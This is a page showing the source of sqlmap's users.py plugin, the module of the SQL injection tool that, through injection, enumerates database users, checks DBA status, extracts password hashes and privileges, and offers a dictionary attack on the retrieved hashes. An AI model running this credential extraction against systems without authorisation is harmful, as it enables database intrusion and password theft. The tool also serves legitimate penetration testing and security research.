Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/generic/users.py
3554 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import re
9
10
from lib.core.agent import agent
11
from lib.core.common import arrayizeValue
12
from lib.core.common import Backend
13
from lib.core.common import filterPairValues
14
from lib.core.common import getLimitRange
15
from lib.core.common import isAdminFromPrivileges
16
from lib.core.common import isDBMSVersionAtLeast
17
from lib.core.common import isInferenceAvailable
18
from lib.core.common import isNoneValue
19
from lib.core.common import isNullValue
20
from lib.core.common import isNumPosStrValue
21
from lib.core.common import isTechniqueAvailable
22
from lib.core.common import parsePasswordHash
23
from lib.core.common import readInput
24
from lib.core.common import unArrayizeValue
25
from lib.core.compat import xrange
26
from lib.core.convert import encodeHex
27
from lib.core.convert import getUnicode
28
from lib.core.data import conf
29
from lib.core.data import kb
30
from lib.core.data import logger
31
from lib.core.data import queries
32
from lib.core.dicts import DB2_PRIVS
33
from lib.core.dicts import FIREBIRD_PRIVS
34
from lib.core.dicts import INFORMIX_PRIVS
35
from lib.core.dicts import MYSQL_PRIVS
36
from lib.core.dicts import PGSQL_PRIVS
37
from lib.core.enums import CHARSET_TYPE
38
from lib.core.enums import DBMS
39
from lib.core.enums import EXPECTED
40
from lib.core.enums import FORK
41
from lib.core.enums import PAYLOAD
42
from lib.core.exception import SqlmapNoneDataException
43
from lib.core.exception import SqlmapUserQuitException
44
from lib.core.settings import CURRENT_USER
45
from lib.core.settings import PLUS_ONE_DBMSES
46
from lib.core.threads import getCurrentThreadData
47
from lib.request import inject
48
from lib.utils.hash import attackCachedUsersPasswords
49
from lib.utils.hash import storeHashesToFile
50
from lib.utils.pivotdumptable import pivotDumpTable
51
from thirdparty.six.moves import zip as _zip
52
53
class Users(object):
54
"""
55
This class defines users' enumeration functionalities for plugins.
56
"""
57
58
def __init__(self):
59
kb.data.currentUser = ""
60
kb.data.isDba = None
61
kb.data.cachedUsers = []
62
kb.data.cachedUsersPasswords = {}
63
kb.data.cachedUsersPrivileges = {}
64
kb.data.cachedUsersRoles = {}
65
66
def getCurrentUser(self):
67
infoMsg = "fetching current user"
68
logger.info(infoMsg)
69
70
query = queries[Backend.getIdentifiedDbms()].current_user.query
71
72
if not kb.data.currentUser:
73
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
74
75
return kb.data.currentUser
76
77
def isDba(self, user=None):
78
infoMsg = "testing if current user is DBA"
79
logger.info(infoMsg)
80
81
query = None
82
83
if Backend.isDbms(DBMS.MYSQL):
84
self.getCurrentUser()
85
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
86
kb.data.isDba = "root" in (kb.data.currentUser or "")
87
elif kb.data.currentUser:
88
query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
89
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
90
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
91
else:
92
query = queries[Backend.getIdentifiedDbms()].is_dba.query
93
94
if query:
95
query = agent.forgeCaseStatement(query)
96
kb.data.isDba = inject.checkBooleanExpression(query) or False
97
98
return kb.data.isDba
99
100
def getUsers(self):
101
infoMsg = "fetching database users"
102
logger.info(infoMsg)
103
104
rootQuery = queries[Backend.getIdentifiedDbms()].users
105
106
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
107
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
108
condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2"))
109
110
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
111
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
112
query = rootQuery.inband.query3
113
elif condition:
114
query = rootQuery.inband.query2
115
else:
116
query = rootQuery.inband.query
117
118
values = inject.getValue(query, blind=False, time=False)
119
120
if not isNoneValue(values):
121
kb.data.cachedUsers = []
122
for value in arrayizeValue(values):
123
value = unArrayizeValue(value)
124
if not isNoneValue(value):
125
kb.data.cachedUsers.append(value)
126
127
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
128
infoMsg = "fetching number of database users"
129
logger.info(infoMsg)
130
131
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
132
query = rootQuery.blind.count3
133
elif condition:
134
query = rootQuery.blind.count2
135
else:
136
query = rootQuery.blind.count
137
138
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
139
140
if count == 0:
141
return kb.data.cachedUsers
142
elif not isNumPosStrValue(count):
143
errMsg = "unable to retrieve the number of database users"
144
raise SqlmapNoneDataException(errMsg)
145
146
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
147
indexRange = getLimitRange(count, plusOne=plusOne)
148
149
for index in indexRange:
150
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
151
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
152
elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
153
query = rootQuery.blind.query3 % index
154
elif condition:
155
query = rootQuery.blind.query2 % index
156
else:
157
query = rootQuery.blind.query % index
158
159
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
160
161
if user:
162
kb.data.cachedUsers.append(user)
163
164
if not kb.data.cachedUsers:
165
errMsg = "unable to retrieve the database users"
166
logger.error(errMsg)
167
168
return kb.data.cachedUsers
169
170
def getPasswordHashes(self):
171
infoMsg = "fetching database users password hashes"
172
173
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
174
175
if conf.user == CURRENT_USER:
176
infoMsg += " for current user"
177
conf.user = self.getCurrentUser()
178
179
logger.info(infoMsg)
180
181
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
182
conf.user = conf.user.upper()
183
184
if conf.user:
185
users = conf.user.split(',')
186
187
if Backend.isDbms(DBMS.MYSQL):
188
for user in users:
189
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
190
191
if parsedUser:
192
users[users.index(user)] = parsedUser.groups()[0]
193
else:
194
users = []
195
196
users = [_ for _ in users if _]
197
198
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
199
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
200
query = rootQuery.inband.query2
201
else:
202
query = rootQuery.inband.query
203
204
condition = rootQuery.inband.condition
205
206
if conf.user:
207
query += " WHERE "
208
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
209
210
if Backend.isDbms(DBMS.SYBASE):
211
getCurrentThreadData().disableStdOut = True
212
213
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
214
215
if retVal:
216
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
217
if user not in kb.data.cachedUsersPasswords:
218
kb.data.cachedUsersPasswords[user] = [password]
219
else:
220
kb.data.cachedUsersPasswords[user].append(password)
221
222
getCurrentThreadData().disableStdOut = False
223
else:
224
values = inject.getValue(query, blind=False, time=False)
225
226
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
227
values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
228
elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
229
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
230
231
for user, password in filterPairValues(values):
232
if not user or user == " ":
233
continue
234
235
password = parsePasswordHash(password)
236
237
if user not in kb.data.cachedUsersPasswords:
238
kb.data.cachedUsersPasswords[user] = [password]
239
else:
240
kb.data.cachedUsersPasswords[user].append(password)
241
242
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
243
fallback = False
244
245
if not len(users):
246
users = self.getUsers()
247
248
if Backend.isDbms(DBMS.MYSQL):
249
for user in users:
250
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
251
252
if parsedUser:
253
users[users.index(user)] = parsedUser.groups()[0]
254
255
if Backend.isDbms(DBMS.SYBASE):
256
getCurrentThreadData().disableStdOut = True
257
258
query = rootQuery.inband.query
259
260
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
261
262
if retVal:
263
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
264
password = "0x%s" % encodeHex(password, binary=False).upper()
265
266
if user not in kb.data.cachedUsersPasswords:
267
kb.data.cachedUsersPasswords[user] = [password]
268
else:
269
kb.data.cachedUsersPasswords[user].append(password)
270
271
getCurrentThreadData().disableStdOut = False
272
else:
273
retrievedUsers = set()
274
275
for user in users:
276
user = unArrayizeValue(user)
277
278
if user in retrievedUsers:
279
continue
280
281
if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
282
count = 1
283
else:
284
infoMsg = "fetching number of password hashes "
285
infoMsg += "for user '%s'" % user
286
logger.info(infoMsg)
287
288
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
289
query = rootQuery.blind.count2 % user
290
else:
291
query = rootQuery.blind.count % user
292
293
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
294
295
if not isNumPosStrValue(count):
296
if Backend.isDbms(DBMS.MSSQL):
297
fallback = True
298
count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
299
elif Backend.isDbms(DBMS.MYSQL):
300
fallback = True
301
count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
302
303
if not isNumPosStrValue(count):
304
warnMsg = "unable to retrieve the number of password "
305
warnMsg += "hashes for user '%s'" % user
306
logger.warning(warnMsg)
307
continue
308
309
infoMsg = "fetching password hashes for user '%s'" % user
310
logger.info(infoMsg)
311
312
passwords = []
313
314
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
315
indexRange = getLimitRange(count, plusOne=plusOne)
316
317
for index in indexRange:
318
if Backend.isDbms(DBMS.MSSQL):
319
if Backend.isVersionWithin(("2005", "2008")):
320
query = rootQuery.blind.query2 % (user, index, user)
321
else:
322
query = rootQuery.blind.query % (user, index, user)
323
324
if fallback:
325
query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")
326
327
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
328
query = rootQuery.blind.query % (user,)
329
330
elif Backend.isDbms(DBMS.HSQLDB):
331
query = rootQuery.blind.query % (index, user)
332
333
else:
334
query = rootQuery.blind.query % (user, index)
335
336
if Backend.isDbms(DBMS.MYSQL):
337
if fallback:
338
query = query.replace("authentication_string", "password")
339
340
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
341
password = parsePasswordHash(password)
342
343
passwords.append(password)
344
345
if passwords:
346
kb.data.cachedUsersPasswords[user] = passwords
347
else:
348
warnMsg = "unable to retrieve the password "
349
warnMsg += "hashes for user '%s'" % user
350
logger.warning(warnMsg)
351
352
retrievedUsers.add(user)
353
354
if not kb.data.cachedUsersPasswords:
355
errMsg = "unable to retrieve the password hashes for the "
356
errMsg += "database users"
357
logger.error(errMsg)
358
else:
359
for user in kb.data.cachedUsersPasswords:
360
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
361
362
storeHashesToFile(kb.data.cachedUsersPasswords)
363
364
message = "do you want to perform a dictionary-based attack "
365
message += "against retrieved password hashes? [Y/n/q]"
366
choice = readInput(message, default='Y').upper()
367
368
if choice == 'N':
369
pass
370
elif choice == 'Q':
371
raise SqlmapUserQuitException
372
else:
373
attackCachedUsersPasswords()
374
375
return kb.data.cachedUsersPasswords
376
377
def getPrivileges(self, query2=False):
378
infoMsg = "fetching database users privileges"
379
380
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
381
382
if conf.user == CURRENT_USER:
383
infoMsg += " for current user"
384
conf.user = self.getCurrentUser()
385
386
logger.info(infoMsg)
387
388
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
389
conf.user = conf.user.upper()
390
391
if conf.user:
392
users = conf.user.split(',')
393
394
if Backend.isDbms(DBMS.MYSQL):
395
for user in users:
396
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
397
398
if parsedUser:
399
users[users.index(user)] = parsedUser.groups()[0]
400
else:
401
users = []
402
403
users = [_ for _ in users if _]
404
405
# Set containing the list of DBMS administrators
406
areAdmins = set()
407
408
if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
409
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
410
query = rootQuery.inband.query2
411
condition = rootQuery.inband.condition2
412
elif Backend.isDbms(DBMS.ORACLE) and query2:
413
query = rootQuery.inband.query2
414
condition = rootQuery.inband.condition2
415
else:
416
query = rootQuery.inband.query
417
condition = rootQuery.inband.condition
418
419
if conf.user:
420
query += " WHERE "
421
422
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
423
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
424
else:
425
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
426
427
values = inject.getValue(query, blind=False, time=False)
428
429
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
430
infoMsg = "trying with table 'USER_SYS_PRIVS'"
431
logger.info(infoMsg)
432
433
return self.getPrivileges(query2=True)
434
435
if not isNoneValue(values):
436
for value in values:
437
user = None
438
privileges = set()
439
440
for count in xrange(0, len(value or [])):
441
# The first column is always the username
442
if count == 0:
443
user = value[count]
444
445
# The other columns are the privileges
446
else:
447
privilege = value[count]
448
449
if privilege is None:
450
continue
451
452
# In PostgreSQL we get 1 if the privilege is
453
# True, 0 otherwise
454
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
455
if int(privilege) == 1 and count in PGSQL_PRIVS:
456
privileges.add(PGSQL_PRIVS[count])
457
458
# In MySQL >= 5.0 and Oracle we get the list
459
# of privileges as string
460
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE):
461
privileges.add(privilege)
462
463
# In MySQL < 5.0 we get Y if the privilege is
464
# True, N otherwise
465
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
466
if privilege.upper() == 'Y':
467
privileges.add(MYSQL_PRIVS[count])
468
469
# In Firebird we get one letter for each privilege
470
elif Backend.isDbms(DBMS.FIREBIRD):
471
if privilege.strip() in FIREBIRD_PRIVS:
472
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
473
474
# In DB2 we get Y or G if the privilege is
475
# True, N otherwise
476
elif Backend.isDbms(DBMS.DB2):
477
privs = privilege.split(',')
478
privilege = privs[0]
479
if len(privs) > 1:
480
privs = privs[1]
481
privs = list(privs.strip())
482
i = 1
483
484
for priv in privs:
485
if priv.upper() in ('Y', 'G'):
486
for position, db2Priv in DB2_PRIVS.items():
487
if position == i:
488
privilege += ", " + db2Priv
489
490
i += 1
491
492
privileges.add(privilege)
493
494
if user in kb.data.cachedUsersPrivileges:
495
kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
496
else:
497
kb.data.cachedUsersPrivileges[user] = list(privileges)
498
499
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
500
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
501
conditionChar = "LIKE"
502
else:
503
conditionChar = "="
504
505
if not len(users):
506
users = self.getUsers()
507
508
if Backend.isDbms(DBMS.MYSQL):
509
for user in users:
510
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
511
512
if parsedUser:
513
users[users.index(user)] = parsedUser.groups()[0]
514
515
retrievedUsers = set()
516
517
for user in users:
518
outuser = user
519
if user in retrievedUsers:
520
continue
521
522
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
523
user = "%%%s%%" % user
524
525
if Backend.isDbms(DBMS.INFORMIX):
526
count = 1
527
else:
528
infoMsg = "fetching number of privileges "
529
infoMsg += "for user '%s'" % outuser
530
logger.info(infoMsg)
531
532
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
533
query = rootQuery.blind.count2 % user
534
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
535
query = rootQuery.blind.count % (conditionChar, user)
536
elif Backend.isDbms(DBMS.ORACLE) and query2:
537
query = rootQuery.blind.count2 % user
538
else:
539
query = rootQuery.blind.count % user
540
541
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
542
543
if not isNumPosStrValue(count):
544
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
545
infoMsg = "trying with table 'USER_SYS_PRIVS'"
546
logger.info(infoMsg)
547
548
return self.getPrivileges(query2=True)
549
550
warnMsg = "unable to retrieve the number of "
551
warnMsg += "privileges for user '%s'" % outuser
552
logger.warning(warnMsg)
553
continue
554
555
infoMsg = "fetching privileges for user '%s'" % outuser
556
logger.info(infoMsg)
557
558
privileges = set()
559
560
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
561
indexRange = getLimitRange(count, plusOne=plusOne)
562
563
for index in indexRange:
564
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
565
query = rootQuery.blind.query2 % (user, index)
566
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
567
query = rootQuery.blind.query % (conditionChar, user, index)
568
elif Backend.isDbms(DBMS.ORACLE) and query2:
569
query = rootQuery.blind.query2 % (user, index)
570
elif Backend.isDbms(DBMS.FIREBIRD):
571
query = rootQuery.blind.query % (index, user)
572
elif Backend.isDbms(DBMS.INFORMIX):
573
query = rootQuery.blind.query % (user,)
574
else:
575
query = rootQuery.blind.query % (user, index)
576
577
privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
578
579
if privilege is None:
580
continue
581
582
# In PostgreSQL we get 1 if the privilege is True,
583
# 0 otherwise
584
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
585
privilege = privilege.replace(", ", ',')
586
privs = privilege.split(',')
587
i = 1
588
589
for priv in privs:
590
if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS:
591
privileges.add(PGSQL_PRIVS[i])
592
593
i += 1
594
595
# In MySQL >= 5.0 and Oracle we get the list
596
# of privileges as string
597
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
598
privileges.add(privilege)
599
600
# In MySQL < 5.0 we get Y if the privilege is
601
# True, N otherwise
602
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
603
privilege = privilege.replace(", ", ',')
604
privs = privilege.split(',')
605
i = 1
606
607
for priv in privs:
608
if priv.upper() == 'Y':
609
for position, mysqlPriv in MYSQL_PRIVS.items():
610
if position == i:
611
privileges.add(mysqlPriv)
612
613
i += 1
614
615
# In Firebird we get one letter for each privilege
616
elif Backend.isDbms(DBMS.FIREBIRD):
617
if privilege.strip() in FIREBIRD_PRIVS:
618
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
619
620
# In Informix we get one letter for the highest privilege
621
elif Backend.isDbms(DBMS.INFORMIX):
622
if privilege.strip() in INFORMIX_PRIVS:
623
privileges.add(INFORMIX_PRIVS[privilege.strip()])
624
625
# In DB2 we get Y or G if the privilege is
626
# True, N otherwise
627
elif Backend.isDbms(DBMS.DB2):
628
privs = privilege.split(',')
629
privilege = privs[0]
630
privs = privs[1]
631
privs = list(privs.strip())
632
i = 1
633
634
for priv in privs:
635
if priv.upper() in ('Y', 'G'):
636
for position, db2Priv in DB2_PRIVS.items():
637
if position == i:
638
privilege += ", " + db2Priv
639
640
i += 1
641
642
privileges.add(privilege)
643
644
# In MySQL < 5.0 we break the cycle after the first
645
# time we get the user's privileges otherwise we
646
# duplicate the same query
647
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
648
break
649
650
if privileges:
651
kb.data.cachedUsersPrivileges[user] = list(privileges)
652
else:
653
warnMsg = "unable to retrieve the privileges "
654
warnMsg += "for user '%s'" % outuser
655
logger.warning(warnMsg)
656
657
retrievedUsers.add(user)
658
659
if not kb.data.cachedUsersPrivileges:
660
errMsg = "unable to retrieve the privileges "
661
errMsg += "for the database users"
662
raise SqlmapNoneDataException(errMsg)
663
664
for user, privileges in kb.data.cachedUsersPrivileges.items():
665
if isAdminFromPrivileges(privileges):
666
areAdmins.add(user)
667
668
return (kb.data.cachedUsersPrivileges, areAdmins)
669
670
def getRoles(self, query2=False):
671
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
672
warnMsg += "exist. sqlmap will enumerate privileges instead"
673
logger.warning(warnMsg)
674
675
return self.getPrivileges(query2)
676
677